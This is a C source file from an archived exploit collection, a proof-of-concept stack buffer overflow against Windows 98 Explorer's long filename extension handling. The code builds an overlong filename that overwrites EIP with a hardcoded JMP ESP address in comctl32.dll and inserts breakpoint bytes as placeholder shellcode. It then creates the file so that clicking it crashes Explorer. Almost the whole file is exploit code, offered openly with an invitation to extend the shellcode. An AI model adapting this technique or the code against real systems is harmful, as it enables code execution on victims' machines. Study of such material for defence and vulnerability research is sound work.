home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / longext-xpl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  92 lines

  1. // Long filename extension exploit for Win 98
  2. // Written by Laurent Eschenauer <Laurent.E@mail.com>
  3. //
  4. // This exploit is a follow up to Securax advisory posted on Vuln-dev scx-sa-02 by <zoachien@securax.org>
  5. // I tested it with explorer.exe 4.72.3110.1
  6. // In the sploit, i use a JMP ESP (FF E4) in comctl32.dll version 5.81
  7. //
  8. // I just stuffed an "int 3" in the shellcode, doing more is going to be tricky since
  9. // we have a limited number of bytes for the code (about 50) and you have a lot of bad bytes
  10. // since it has to be a filename....
  11. //
  12. // Have fun playing with this,
  13. // If you do anything usefull with this one, please send me a copy and share it on vuln-dev (securityfocus.com)
  14. //
  15. // laurent. [kooka]
  16.  
  17. #include <stdio.h>
  18.  
  19. #define PATH "d:\\exploit" //Don't forget to change this
  20. //put the exploit in a dir so it's easy to
  21. //delete it !
  22.  
  23. main(int argc, char *argv[])
  24. {
  25.   char command[1024];
  26.   char exploit[256];
  27.  
  28.   FILE *hack;
  29.   int i;
  30.  
  31.   // let's fill the sploit !
  32.  
  33.   char flag = 'a';
  34.   char fill = 'A';
  35.  
  36.   for (i=0;i<240;i+=4) //A little trick to easily find what is where in memory.
  37.     {
  38.       exploit[i]=flag;
  39.       exploit[i+1]=fill;
  40.       exploit[i+2]=fill+1;
  41.       exploit[i+3]=fill+2;
  42.  
  43.       if (++flag=='z')
  44.         {
  45.           flag='a';
  46.           ++fill;
  47.         }
  48.  
  49.     }
  50.  
  51.   exploit[240]=0x00; //240 bytes is the max, at least on my config.
  52.  
  53.   //EAX - We control it, but who cares ?
  54.   exploit[127]=(char) 0x50;
  55.   exploit[128]=(char) 0x50;
  56.   exploit[129]=(char) 0x50;
  57.   exploit[130]=(char) 0x50;
  58.  
  59.   //EBP Nothing cool to do with this one ?
  60.   exploit[135]=(char) 0x60;
  61.   exploit[136]=(char) 0x60;
  62.   exploit[137]=(char) 0x60;
  63.   exploit[138]=(char) 0x60;
  64.  
  65.   //EIP I use a JMP ESP in comctl32.dll
  66.  
  67.   exploit[139]=(char) 0x77;
  68.   exploit[140]=(char) 0xAD;
  69.   exploit[141]=(char) 0xB9;
  70.   exploit[142]=(char) 0xBF;
  71.  
  72.   //Shellcode I didn't try anyhting else...work in progress
  73.  
  74.  
  75.   exploit[163]=(char) 0xCC;
  76.   exploit[164]=(char) 0xCC;
  77.   exploit[165]=(char) 0xCC;
  78.  
  79.   // Let's do it !
  80.  
  81.   sprintf(command,"%s\\AAAA.%s",PATH,exploit);
  82.  
  83.   hack=fopen(command,"w");
  84.   if (hack==NULL)
  85.     {
  86.       printf("Error creating file, sorry !\n");
  87.     }
  88.   else
  89.     fclose(hack);
  90.   // Cool, just click the file and you'll smash the stack !
  91. }
  92. /*                    www.hack.co.za              [2000]*/